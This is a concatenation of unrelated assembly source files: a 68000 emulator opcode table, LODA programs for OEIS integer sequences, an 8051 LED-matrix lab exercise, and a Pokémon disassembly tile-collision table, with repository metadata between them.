Get_An_EA2 // Unused STW -(EA2) // Unused JUMP Set_An_EA2 // Unused // // $FFC0 : EA2 write LONG // JUMP EA2_WL_Reg // Dx JUMP EA2_WL_Reg // Ax JUMP EA2_WL_An // (Ax) JUMP EA2_WL_An_Inc // (Ax)+ JUMP EA2_WL_An_Dec // -(Ax) JUMP EA2_WL_d16_An // d16(Ax) CALL Calc_d8_An_Rn_EA2 // d8(Ax,Rx) JUMP EA2_WL // Unused JUMP EA2_WL_AbsW // XXXX.w CALL Calc_AbsL_EA2 // XXXXXXXX.l EA2_WL: STW (EA2)+ // Unused STW (EA2) RTS // Unused EA2_WL_d16_An: CALL Calc_d16_An_EA2 // Unused JUMP EA2_WL // Unused EA2_WL_AbsW: CALL Calc_AbsW_EA2 // Unused JUMP EA2_WL // Unused NOP NOP NOP NOP NOP NOP // // $FFD6 : Miscellaneous registers // LIT #$0000 // VBR LSW LIT #$0000 // VBR MSW LIT #$0000 // TMP1 LSW LIT #$0000 // TMP1 MSW LIT #$0000 // TMP2 LSW LIT #$0000 // TMP2 MSW LIT #$0000 // USP LSW LIT #$0000 // USP MSW LIT #$0000 // SSP LSW LIT #$0000 // SSP MSW // // $FFE0 : Data registers // LIT #$0000 // D0 LSW LIT #$0000 // D0 MSW LIT #$0000 // D1 LSW LIT #$0000 // D1 MSW LIT #$0000 // D2 LSW LIT #$0000 // D2 MSW LIT #$0000 // D3 LSW LIT #$0000 // D3 MSW LIT #$0000 // D4 LSW LIT #$0000 // D4 MSW LIT #$0000 // D5 LSW LIT #$0000 // D5 MSW LIT #$0000 // D6 LSW LIT #$0000 // D6 MSW LIT #$0000 // D7 LSW LIT #$0000 // D7 MSW // // $FFF0 : Address registers // LIT #$0000 // A0 LSW LIT #$0000 // A0 MSW LIT #$0000 // A1 LSW LIT #$0000 // A1 MSW LIT #$0000 // A2 LSW LIT #$0000 // A2 MSW LIT #$0000 // A3 LSW LIT #$0000 // A3 MSW LIT #$0000 // A4 LSW LIT #$0000 // A4 MSW LIT #$0000 // A5 LSW LIT #$0000 // A5 MSW LIT #$0000 // A6 LSW LIT #$0000 // A6 MSW LIT #$0000 // A7 LSW LIT #$0000 // A7 MSW // 0 - 63 : Miscellaneous instructions (group #4) TABLE Op_TRAP, Op_TRAP, Op_TRAP, $7FFF TABLE Op_TRAP, Op_TRAP, Op_TRAP, $7FFF TABLE Op_TRAP, Op_TRAP, Op_TRAP, $7FFF TABLE Op_TRAP, Op_TRAP, Op_TRAP, $7FFF TABLE Op_TRAP, Op_TRAP, Op_TRAP, $7FFF TABLE Op_TRAP, Op_TRAP, Op_TRAP, $7FFF TABLE Op_TRAP, Op_TRAP, Op_TRAP, $7FFF TABLE Op_TRAP, Op_TRAP, Op_TRAP, $7FFF TABLE Op_TRAP, Op_TRAP, Op_TRAP, $7FFF TABLE Op_TRAP, Op_TRAP, Op_TRAP, $7FFF TABLE Op_TRAP, Op_TRAP, Op_TRAP, $7FFF TABLE Op_TRAP, Op_TRAP, Op_TRAP, $7FFF TABLE Op_TRAP, Op_TRAP, Op_TRAP, $7FFF TABLE Op_TRAP, Op_TRAP, Op_TRAP, $7FFF TABLE Op_TRAP, Op_TRAP, Op_TRAP, $7FFF TABLE Op_TRAP, Op_TRAP, Op_TRAP, $7FFF TABLE Op_LINK, Op_LINK, Op_LINK, $7FFF TABLE Op_LINK, Op_LINK, Op_LINK, $7FFF TABLE Op_LINK, Op_LINK, Op_LINK, $7FFF TABLE Op_LINK, Op_LINK, Op_LINK, $7FFF TABLE Op_LINK, Op_LINK, Op_LINK, $7FFF TABLE Op_LINK, Op_LINK, Op_LINK, $7FFF TABLE Op_LINK, Op_LINK, Op_LINK, $7FFF TABLE Op_LINK, Op_LINK, Op_LINK, $7FFF TABLE Op_UNLK, Op_UNLK, Op_UNLK, $7FFF TABLE Op_UNLK, Op_UNLK, Op_UNLK, $7FFF TABLE Op_UNLK, Op_UNLK, Op_UNLK, $7FFF TABLE Op_UNLK, Op_UNLK, Op_UNLK, $7FFF TABLE Op_UNLK, Op_UNLK, Op_UNLK, $7FFF TABLE Op_UNLK, Op_UNLK, Op_UNLK, $7FFF TABLE Op_UNLK, Op_UNLK, Op_UNLK, $7FFF TABLE Op_UNLK, Op_UNLK, Op_UNLK, $7FFF TABLE Op_MOVEtUSP, Op_MOVEtUSP, Op_MOVEtUSP, $7FFF TABLE Op_MOVEtUSP, Op_MOVEtUSP, Op_MOVEtUSP, $7FFF TABLE Op_MOVEtUSP, Op_MOVEtUSP, Op_MOVEtUSP, $7FFF TABLE Op_MOVEtUSP, Op_MOVEtUSP, Op_MOVEtUSP, $7FFF TABLE Op_MOVEtUSP, Op_MOVEtUSP, Op_MOVEtUSP, $7FFF TABLE Op_MOVEtUSP, Op_MOVEtUSP, Op_MOVEtUSP, $7FFF TABLE Op_MOVEtUSP, Op_MOVEtUSP, Op_MOVEtUSP, $7FFF TABLE Op_MOVEtUSP, Op_MOVEtUSP, Op_MOVEtUSP, $7FFF TABLE Op_MOVEfUSP, Op_MOVEfUSP, Op_MOVEfUSP, $7FFF TABLE Op_MOVEfUSP, Op_MOVEfUSP, Op_MOVEfUSP, $7FFF TABLE Op_MOVEfUSP, Op_MOVEfUSP, Op_MOVEfUSP, $7FFF TABLE Op_MOVEfUSP, Op_MOVEfUSP, Op_MOVEfUSP, $7FFF TABLE Op_MOVEfUSP, Op_MOVEfUSP, Op_MOVEfUSP, $7FFF TABLE Op_MOVEfUSP, Op_MOVEfUSP, Op_MOVEfUSP, $7FFF TABLE Op_MOVEfUSP, Op_MOVEfUSP, Op_MOVEfUSP, $7FFF TABLE Op_MOVEfUSP, Op_MOVEfUSP, Op_MOVEfUSP, $7FFF TABLE Op_RESET, Op_RESET, Op_RESET, $7FFF TABLE Op_NOP, Op_NOP, Op_NOP, $7FFF TABLE Op_STOP, Op_STOP, Op_STOP, $7FFF TABLE Op_RTE, Op_RTE, Op_RTE, $7FFF TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Op_RTS, Op_RTS, Op_RTS, $7FFF TABLE Op_TRAPV, Op_TRAPV, Op_TRAPV, $7FFF TABLE Op_RTR, Op_RTR, Op_RTR, $7FFF TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 // 64 - 95 : Immediate instructions (group #0) TABLE Op_ORIB, Op_ORIB, Op_ORI_CCR, $09FD TABLE Op_ORIW, Op_ORIW, Op_ORI_SR, $09FD TABLE Op_ORIL, Op_ORIL, Op_ORIL, $01FD TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Op_ANDIB, Op_ANDIB, Op_ANDI_CCR, $09FD TABLE Op_ANDIW, Op_ANDIW, Op_ANDI_SR, $09FD TABLE Op_ANDIL, Op_ANDIL, Op_ANDIL, $01FD TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Op_SUBIB, Op_SUBIB, Op_SUBIB, $01FD TABLE Op_SUBIW, Op_SUBIW, Op_SUBIW, $01FD TABLE Op_SUBIL, Op_SUBIL, Op_SUBIL, $01FD TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Op_ADDIB, Op_ADDIB, Op_ADDIB, $01FD TABLE Op_ADDIW, Op_ADDIW, Op_ADDIW, $01FD TABLE Op_ADDIL, Op_ADDIL, Op_ADDIL, $01FD TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Op_BTSTB_i, Op_BTSTL_i, Op_BTSTL_i, $07FD TABLE Op_BCHGB_i, Op_BCHGL_i, Op_BCHGL_i, $01FD TABLE Op_BCLRB_i, Op_BCLRL_i, Op_BCLRL_i, $01FD TABLE Op_BSETB_i, Op_BSETL_i, Op_BSETL_i, $01FD TABLE Op_EORIB, Op_EORIB, Op_EORI_CCR, $09FD TABLE Op_EORIW, Op_EORIW, Op_EORI_SR, $09FD TABLE Op_EORIL, Op_EORIL, Op_EORIL, $01FD TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Op_CMPIB, Op_CMPIB, Op_CMPIB, $01FD TABLE Op_CMPIW, Op_CMPIW, Op_CMPIW, $01FD TABLE Op_CMPIL, Op_CMPIL, Op_CMPIL, $01FD TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 // 96 - 127 : One operand instructions (group #4) TABLE Op_NEGXB, Op_NEGXB, Op_NEGXB, $01FD TABLE Op_NEGXW, Op_NEGXW, Op_NEGXW, $01FD TABLE Op_NEGXL, Op_NEGXL, Op_NEGXL, $01FD TABLE Op_MOVEfSR, Op_MOVEfSR, Op_MOVEfSR, $01FD TABLE Op_CLRB, Op_CLRB, Op_CLRB, $01FD TABLE Op_CLRW, Op_CLRW, Op_CLRW, $01FD TABLE Op_CLRL, Op_CLRL, Op_CLRL, $01FD TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Op_NEGB, Op_NEGB, Op_NEGB, $01FD TABLE Op_NEGW, Op_NEGW, Op_NEGW, $01FD TABLE Op_NEGL, Op_NEGL, Op_NEGL, $01FD TABLE Op_MOVEtCCR, Op_MOVEtCCR, Op_MOVEtCCR, $0FFD TABLE Op_NOTB, Op_NOTB, Op_NOTB, $01FD TABLE Op_NOTW, Op_NOTW, Op_NOTW, $01FD TABLE Op_NOTL, Op_NOTL, Op_NOTL, $01FD TABLE Op_MOVEtSR, Op_MOVEtSR, Op_MOVEtSR, $0FFD TABLE Op_NBCD, Op_NBCD, Op_NBCD, $01FD TABLE Op_PEA, Op_SWAP, Op_PEA, $07E5 TABLE Op_MOVEMW_m, Op_EXTW, Op_MOVEMW_mpd, $01F5 TABLE Op_MOVEML_m, Op_EXTL, Op_MOVEML_mpd, $01F5 TABLE Op_TSTB, Op_TSTB, Op_TSTB, $01FD TABLE Op_TSTW, Op_TSTW, Op_TSTW, $01FD TABLE Op_TSTL, Op_TSTL, Op_TSTL, $01FD TABLE Op_TASB, Op_TASB, Op_TASB, $01FD TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Op_MOVEMW_r, Op_MOVEMW_r, Op_MOVEMW_rpi, $07EC TABLE Op_MOVEML_r, Op_MOVEML_r, Op_MOVEML_rpi, $07EC TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Op_JSR, Op_JSR, Op_JSR, $07E4 TABLE Op_JMP, Op_JMP, Op_JMP, $07E4 // 128 - 143 : Shift byte register (group #E) TABLE Op_ASRB_ir, Op_ASRB_ir, Op_ASRB_ir, $7FFF TABLE Op_LSRB_ir, Op_LSRB_ir, Op_LSRB_ir, $7FFF TABLE Op_ROXRB_ir, Op_ROXRB_ir, Op_ROXRB_ir, $7FFF TABLE Op_RORB_ir, Op_RORB_ir, Op_RORB_ir, $7FFF TABLE Op_ASRB_rr, Op_ASRB_rr, Op_ASRB_rr, $7FFF TABLE Op_LSRB_rr, Op_LSRB_rr, Op_LSRB_rr, $7FFF TABLE Op_ROXRB_rr, Op_ROXRB_rr, Op_ROXRB_rr, $7FFF TABLE Op_RORB_rr, Op_RORB_rr, Op_RORB_rr, $7FFF TABLE Op_ASLB_ir, Op_ASLB_ir, Op_ASLB_ir, $7FFF TABLE Op_LSLB_ir, Op_LSLB_ir, Op_LSLB_ir, $7FFF TABLE Op_ROXLB_ir, Op_ROXLB_ir, Op_ROXLB_ir, $7FFF TABLE Op_ROLB_ir, Op_ROLB_ir, Op_ROLB_ir, $7FFF TABLE Op_ASLB_rr, Op_ASLB_rr, Op_ASLB_rr, $7FFF TABLE Op_LSLB_rr, Op_LSLB_rr, Op_LSLB_rr, $7FFF TABLE Op_ROXLB_rr, Op_ROXLB_rr, Op_ROXLB_rr, $7FFF TABLE Op_ROLB_rr, Op_ROLB_rr, Op_ROLB_rr, $7FFF // 144 - 159 : Shift word register (group #E) TABLE Op_ASRW_ir, Op_ASRW_ir, Op_ASRW_ir, $7FFF TABLE Op_LSRW_ir, Op_LSRW_ir, Op_LSRW_ir, $7FFF TABLE Op_ROXRW_ir, Op_ROXRW_ir, Op_ROXRW_ir, $7FFF TABLE Op_RORW_ir, Op_RORW_ir, Op_RORW_ir, $7FFF TABLE Op_ASRW_rr, Op_ASRW_rr, Op_ASRW_rr, $7FFF TABLE Op_LSRW_rr, Op_LSRW_rr, Op_LSRW_rr, $7FFF TABLE Op_ROXRW_rr, Op_ROXRW_rr, Op_ROXRW_rr, $7FFF TABLE Op_RORW_rr, Op_RORW_rr, Op_RORW_rr, $7FFF TABLE Op_ASLW_ir, Op_ASLW_ir, Op_ASLW_ir, $7FFF TABLE Op_LSLW_ir, Op_LSLW_ir, Op_LSLW_ir, $7FFF TABLE Op_ROXLW_ir, Op_ROXLW_ir, Op_ROXLW_ir, $7FFF TABLE Op_ROLW_ir, Op_ROLW_ir, Op_ROLW_ir, $7FFF TABLE Op_ASLW_rr, Op_ASLW_rr, Op_ASLW_rr, $7FFF TABLE Op_LSLW_rr, Op_LSLW_rr, Op_LSLW_rr, $7FFF TABLE Op_ROXLW_rr, Op_ROXLW_rr, Op_ROXLW_rr, $7FFF TABLE Op_ROLW_rr, Op_ROLW_rr, Op_ROLW_rr, $7FFF // 160 - 175 : Shift long register (group #E) TABLE Op_ASRL_ir, Op_ASRL_ir, Op_ASRL_ir, $7FFF TABLE Op_LSRL_ir, Op_LSRL_ir, Op_LSRL_ir, $7FFF TABLE Op_ROXRL_ir, Op_ROXRL_ir, Op_ROXRL_ir, $7FFF TABLE Op_RORL_ir, Op_RORL_ir, Op_RORL_ir, $7FFF TABLE Op_ASRL_rr, Op_ASRL_rr, Op_ASRL_rr, $7FFF TABLE Op_LSRL_rr, Op_LSRL_rr, Op_LSRL_rr, $7FFF TABLE Op_ROXRL_rr, Op_ROXRL_rr, Op_ROXRL_rr, $7FFF TABLE Op_RORL_rr, Op_RORL_rr, Op_RORL_rr, $7FFF TABLE Op_ASLL_ir, Op_ASLL_ir, Op_ASLL_ir, $7FFF TABLE Op_LSLL_ir, Op_LSLL_ir, Op_LSLL_ir, $7FFF TABLE Op_ROXLL_ir, Op_ROXLL_ir, Op_ROXLL_ir, $7FFF TABLE Op_ROLL_ir, Op_ROLL_ir, Op_ROLL_ir, $7FFF TABLE Op_ASLL_rr, Op_ASLL_rr, Op_ASLL_rr, $7FFF TABLE Op_LSLL_rr, Op_LSLL_rr, Op_LSLL_rr, $7FFF TABLE Op_ROXLL_rr, Op_ROXLL_rr, Op_ROXLL_rr, $7FFF TABLE Op_ROLL_rr, Op_ROLL_rr, Op_ROLL_rr, $7FFF // 176 - 191 : Instruction groups TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Op_MOVEB, Op_MOVEB, Op_MOVEB, $0FFD TABLE Op_MOVEL, Op_MOVEAL, Op_MOVEL, $0FFF TABLE Op_MOVEW, Op_MOVEAW, Op_MOVEW, $0FFF TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Op_Bcc, Op_BSR, Op_Bcc, $7FFF TABLE Op_MOVEQ, Op_MOVEQ, Op_MOVEQ, $7FFF TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_LineA, Trap_LineA, Trap_LineA, $7FFF TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_LineF, Trap_LineF, Trap_LineF, $7FFF // 192 - 199 : OR/DIV instructions (group #8) TABLE Op_ORB_r, Op_ORB_r, Op_ORB_r, $0FFD TABLE Op_ORW_r, Op_ORW_r, Op_ORW_r, $0FFD TABLE Op_ORL_r, Op_ORL_r, Op_ORL_r, $0FFD TABLE Op_DIVU, Op_DIVU, Op_DIVU, $0FFD TABLE Op_ORB_m, Op_SBCD_r, Op_SBCD_m, $01FF TABLE Op_ORW_m, Op_ORW_m, Op_ORW_m, $01FC TABLE Op_ORL_m, Op_ORL_m, Op_ORL_m, $01FC TABLE Op_DIVS, Op_DIVS, Op_DIVS, $0FFD // 200 - 207 : SUB instructions (group #9) TABLE Op_SUBB_r, Op_SUBB_r, Op_SUBB_r, $0FFD TABLE Op_SUBW_r, Op_SUBW_r, Op_SUBW_r, $0FFF TABLE Op_SUBL_r, Op_SUBL_r, Op_SUBL_r, $0FFF TABLE Op_SUBAW, Op_SUBAW, Op_SUBAW, $0FFF TABLE Op_SUBB_m, Op_SUBXB_r, Op_SUBXB_m, $01FF TABLE Op_SUBW_m, Op_SUBXW_r, Op_SUBXW_m, $01FF TABLE Op_SUBL_m, Op_SUBXL_r, Op_SUBXL_m, $01FF TABLE Op_SUBAL, Op_SUBAL, Op_SUBAL, $0FFF // 208 - 215 : ADDQ/SUBQ instructions (group #5) TABLE Op_ADDQB, Op_ADDQB, Op_ADDQB, $01FD TABLE Op_ADDQW, Op_ADDQW, Op_ADDQA, $01FF TABLE Op_ADDQL, Op_ADDQL, Op_ADDQA, $01FF TABLE Op_Scc, Op_Scc, Op_DBcc, $01FF TABLE Op_SUBQB, Op_SUBQB, Op_SUBQB, $01FD TABLE Op_SUBQW, Op_SUBQW, Op_SUBQA, $01FF TABLE Op_SUBQL, Op_SUBQL, Op_SUBQA, $01FF TABLE Op_Scc, Op_Scc, Op_DBcc, $01FF // 216 - 223 : CMP/EOR instructions (group #B) TABLE Op_CMPB, Op_CMPB, Op_CMPB, $0FFD TABLE Op_CMPW, Op_CMPW, Op_CMPW, $0FFF TABLE Op_CMPL, Op_CMPL, Op_CMPL, $0FFF TABLE Op_CMPAW, Op_CMPAW, Op_CMPAW, $0FFF TABLE Op_EORB, Op_EORB, Op_CMPMB, $01FF TABLE Op_EORW, Op_EORW, Op_CMPMW, $01FF TABLE Op_EORL, Op_EORL, Op_CMPML, $01FF TABLE Op_CMPAL, Op_CMPAL, Op_CMPAL, $0FFF // 224 - 231 : AND/MUL instructions (group #C) TABLE Op_ANDB_r, Op_ANDB_r, Op_ANDB_r, $0FFD TABLE Op_ANDW_r, Op_ANDW_r, Op_ANDW_r, $0FFD TABLE Op_ANDL_r, Op_ANDL_r, Op_ANDL_r, $0FFD TABLE Op_MULU, Op_MULU, Op_MULU, $0FFD TABLE Op_ANDB_m, Op_ABCD_r, Op_ABCD_m, $01FF TABLE Op_ANDW_m, Op_EXG_DD, Op_EXG_AA, $01FF TABLE Op_ANDL_m, Op_ANDL_m, Op_EXG_DA, $01FE TABLE Op_MULS, Op_MULS, Op_MULS, $0FFD // 232 - 239 : ADD instructions (group #D) TABLE Op_ADDB_r, Op_ADDB_r, Op_ADDB_r, $0FFD TABLE Op_ADDW_r, Op_ADDW_r, Op_ADDW_r, $0FFF TABLE Op_ADDL_r, Op_ADDL_r, Op_ADDL_r, $0FFF TABLE Op_ADDAW, Op_ADDAW, Op_ADDAW, $0FFF TABLE Op_ADDB_m, Op_ADDXB_r, Op_ADDXB_m, $01FF TABLE Op_ADDW_m, Op_ADDXW_r, Op_ADDXW_m, $01FF TABLE Op_ADDL_m, Op_ADDXL_r, Op_ADDXL_m, $01FF TABLE Op_ADDAL, Op_ADDAL, Op_ADDAL, $0FFF // 240 - 247 : Memory shift instructions (group #E) TABLE Op_ASRW_m, Op_ASRW_m, Op_ASRW_m, $01FC TABLE Op_ASLW_m, Op_ASLW_m, Op_ASLW_m, $01FC TABLE Op_LSRW_m, Op_LSRW_m, Op_LSRW_m, $01FC TABLE Op_LSLW_m, Op_LSLW_m, Op_LSLW_m, $01FC TABLE Op_ROXRW_m, Op_ROXRW_m, Op_ROXRW_m, $01FC TABLE Op_ROXLW_m, Op_ROXLW_m, Op_ROXLW_m, $01FC TABLE Op_RORW_m, Op_RORW_m, Op_RORW_m, $01FC TABLE Op_ROLW_m, Op_ROLW_m, Op_ROLW_m, $01FC // 248 - 251 : Bit operation instructions (group #0) TABLE Op_BTSTB_r, Op_BTSTL_r, Op_MOVEPW_r, $0FFF TABLE Op_BCHGB_r, Op_BCHGL_r, Op_MOVEPL_r, $01FF TABLE Op_BCLRB_r, Op_BCLRL_r, Op_MOVEPW_m, $01FF TABLE Op_BSETB_r, Op_BSETL_r, Op_MOVEPL_m, $01FF // 252 - 255 : Two operand instructions (Group #4) TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Trap_Illegal, Trap_Illegal, Trap_Illegal, $0000 TABLE Op_CHKW, Op_CHKW, Op_CHKW, $0FFD TABLE Op_LEA, Op_LEA, Op_LEA, $07E4

34.885451

81

0.446983

dde76eea4c3c06060ab27a05a00c7ff23fa8f072

750

asm

Assembly

programs/oeis/203/A203872.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

22

2018-02-06T19:19:31.000Z

2022-01-17T21:53:31.000Z

programs/oeis/203/A203872.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

41

2021-02-22T19:00:34.000Z

2021-08-28T10:47:47.000Z

programs/oeis/203/A203872.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

5

2021-02-24T21:14:16.000Z

2021-08-09T19:48:05.000Z

; A203872: Number of (n+1)X3 0..3 arrays with no 2X2 subblock having equal diagonal elements or equal antidiagonal elements, and new values 0..3 introduced in row major order ; 55,1135,23815,500095,10501975,220541455,4631370535,97258781215,2042434405495,42891122515375,900713572822855,18914985029279935,397214685614878615,8341508397912450895,175171676356161468775,3678605203479390844255,77250709273067207729335,1622264894734411362316015,34067562789422638608636295,715418818577875410781362175,15023795190135383626408605655,315499698992843056154580718735,6625493678849704179246195093415,139135367255843787764170096961695,2921842712372719543047572036195575,61358696959827110403999012760107055 mov $1,21 pow $1,$0 sub $1,1 mul $1,54 add $1,55 mov $0,$1

75

514

0.876

2c2077a2cb028bece1da12353c94b7fc6a97d975

397

asm

Assembly

programs/oeis/137/A137495.asm

jmorken/loda

99c09d2641e858b074f6344a352d13bc55601571

[ "Apache-2.0" ]

1

2021-03-15T11:38:20.000Z

programs/oeis/137/A137495.asm

jmorken/loda

99c09d2641e858b074f6344a352d13bc55601571

[ "Apache-2.0" ]

null

programs/oeis/137/A137495.asm

jmorken/loda

99c09d2641e858b074f6344a352d13bc55601571

[ "Apache-2.0" ]

null

; A137495: A098601(2n)+A098601(2n+1) ; 2,3,4,7,13,23,40,70,123,216,379,665,1167,2048,3594,6307,11068,19423,34085,59815,104968,184206,323259,567280,995507,1746993,3065759,5380032,9441298,16568323,29075380,51023735,89540413,157132471,275748264,483904470,849193147,1490230088 mov $1,$0 lpb $0 add $2,$1 add $3,$2 sub $2,$0 sub $0,1 sub $3,$1 add $1,$3 sub $2,$3 lpe add $1,2 add $1,$3

24.8125

235

0.702771

d7a247f1aee9727585c89cbaff674f09f84b78e3

1,627

asm

Assembly

Modul 3/latih15proteus.asm

hyuwah/fu-praktikum-smd

a06fe109a42aa96e75f9a425a0905d6bfbfdfc7e

[ "MIT" ]

null

Modul 3/latih15proteus.asm

hyuwah/fu-praktikum-smd

a06fe109a42aa96e75f9a425a0905d6bfbfdfc7e

[ "MIT" ]

null

Modul 3/latih15proteus.asm

hyuwah/fu-praktikum-smd

a06fe109a42aa96e75f9a425a0905d6bfbfdfc7e

[ "MIT" ]

null

;-------------------------------------------------------------------- ; Praktikum SMD 2015 ; M.Wahyudin (140310120031) ; ; Name : LATIH15.ASM Penyesuaian Rangkaian Proteus ; Desc : Menampilkan karakter A ke display matriks 7x5 ; Input : - ; Output: Display matriks 7x5 ;-------------------------------------------------------------------- cseg at 0 mulai: mov P1,#00001b ; mengaktifkan kolom ke-1 mov a,#0 ; pilih baris ke- 1 call ambilbaris ; mengambil data baris ke-1 mov p2,a ; menyalakan baris-1 ke port-2 call tunda ; tahan tampilan mov p2,#0 ; padamkan baris ke 1 mov P1,#00010b ; mengaktifkan kolom ke-2 mov a,#1 ; pilih baris ke- 2 call ambilbaris ; mengambil data baris ke-2 mov p2,a ; menyalakan baris-2 ke port-2 call tunda ; tahan tampilan mov p2,#0 ; padamkan baris ke 2 mov P1,#00100b ; mengaktifkan kolom ke-3 mov a,#2 ; pilih baris ke- 3 call ambilbaris ; mengambil data baris ke-3 mov p2,a ; menyalakan baris-3 ke port-2 call tunda ; tahan tampilan mov p2,#0 ; padamkan baris ke 3 mov P1,#01000b ; mengaktifkan kolom ke-4 mov a,#3 ; pilih baris ke-4 call ambilbaris ; mengambil data baris ke-4 mov p2,a ; menyalakan baris-4 ke port-2 call tunda ; tahan tampilan mov p2,#0 ; padamkan baris ke 4 mov P1,#10000b ; mengaktifkan kolom ke-5 mov a,#4 ; pilih baris ke- 5 call ambilbaris ; mengambil data baris ke-5 mov p2,a ; menyalakan baris-5 ke port-2 call tunda ; tahan tampilan mov p2,#0 ; padamkan baris ke 5 jmp mulai tunda: mov r1,#0 mov r2,#35 wait: djnz r1,wait djnz r2,wait ret ambilbaris: add a,#2d movc a,@a+pc cpl a ret db 7ch, 12h, 11h, 12h, 7ch end

24.651515

69

0.64536

18f9b805a9ac25ca59a018fd1a5e1dacafa50981

2,703

asm

Assembly

data/tilesets/dark_cave_collision.asm

Dev727/ancientplatinum

8b212a1728cc32a95743e1538b9eaa0827d013a7

[ "blessing" ]

28

2019-11-08T07:19:00.000Z

2021-12-20T10:17:54.000Z

data/tilesets/dark_cave_collision.asm

Dev727/ancientplatinum

8b212a1728cc32a95743e1538b9eaa0827d013a7

[ "blessing" ]

13

2020-01-11T17:00:40.000Z

2021-09-14T01:27:38.000Z

data/tilesets/dark_cave_collision.asm

Dev727/ancientplatinum

8b212a1728cc32a95743e1538b9eaa0827d013a7

[ "blessing" ]

22

2020-05-28T17:31:38.000Z

2022-03-07T20:49:35.000Z

tilecoll WALL, WALL, WALL, WALL ; 00 tilecoll WALL, WALL, WALL, WALL ; 01 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 02 tilecoll TALL_GRASS, TALL_GRASS, TALL_GRASS, TALL_GRASS ; 03 tilecoll WALL, UP_WALL, WALL, FLOOR ; 04 tilecoll UP_WALL, UP_WALL, FLOOR, FLOOR ; 05 tilecoll UP_WALL, WALL, FLOOR, WALL ; 06 tilecoll FLOOR, FLOOR, FLOOR, LADDER ; 07 tilecoll WALL, FLOOR, WALL, FLOOR ; 08 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 09 tilecoll FLOOR, WALL, FLOOR, WALL ; 0a tilecoll FLOOR, FLOOR, FLOOR, LADDER ; 0b tilecoll WALL, FLOOR, WALL, WALL ; 0c tilecoll FLOOR, FLOOR, WALL, WALL ; 0d tilecoll FLOOR, WALL, WALL, WALL ; 0e tilecoll WATER, WATER, WATER, WATER ; 0f tilecoll FLOOR, FLOOR, FLOOR, WALL ; 10 tilecoll FLOOR, FLOOR, WALL, FLOOR ; 11 tilecoll FLOOR, FLOOR, WALL, FLOOR ; 12 tilecoll FLOOR, FLOOR, WALL, CAVE ; 13 tilecoll UP_WALL, UP_WALL, FLOOR, LADDER ; 14 tilecoll UP_WALL, UP_WALL, FLOOR, LADDER ; 15 tilecoll WALL, FLOOR, WALL, WARP_CARPET_DOWN ; 16 tilecoll FLOOR, WALL, FLOOR, FLOOR ; 17 tilecoll WALL, WALL, WALL, FLOOR ; 18 tilecoll WALL, WALL, FLOOR, FLOOR ; 19 tilecoll WALL, WALL, FLOOR, WALL ; 1a tilecoll FLOOR, FLOOR, FLOOR, LADDER ; 1b tilecoll WALL, FLOOR, WALL, FLOOR ; 1c tilecoll WALL, WALL, WALL, WALL ; 1d tilecoll FLOOR, WALL, FLOOR, WALL ; 1e tilecoll FLOOR, FLOOR, FLOOR, LADDER ; 1f tilecoll WALL, FLOOR, WALL, WALL ; 20 tilecoll FLOOR, FLOOR, WALL, WALL ; 21 tilecoll FLOOR, WALL, WALL, WALL ; 22 tilecoll UP_WALL, WALL, FLOOR, FLOOR ; 23 tilecoll FLOOR, FLOOR, FLOOR, WARP_CARPET_DOWN ; 24 tilecoll WATER, WATER, WATER, WATER ; 25 tilecoll WATER, WATER, WATER, WATER ; 26 tilecoll WATER, WATER, WATER, WATER ; 27 tilecoll WALL, FLOOR, FLOOR, FLOOR ; 28 tilecoll FLOOR, FLOOR, WALL, FLOOR ; 29 tilecoll FLOOR, WALL, FLOOR, FLOOR ; 2a tilecoll FLOOR, FLOOR, FLOOR, WALL ; 2b tilecoll WATERFALL, WATERFALL, WATERFALL, WATERFALL ; 2c tilecoll WALL, WALL, WALL, WALL ; 2d tilecoll WALL, WALL, WALL, WALL ; 2e 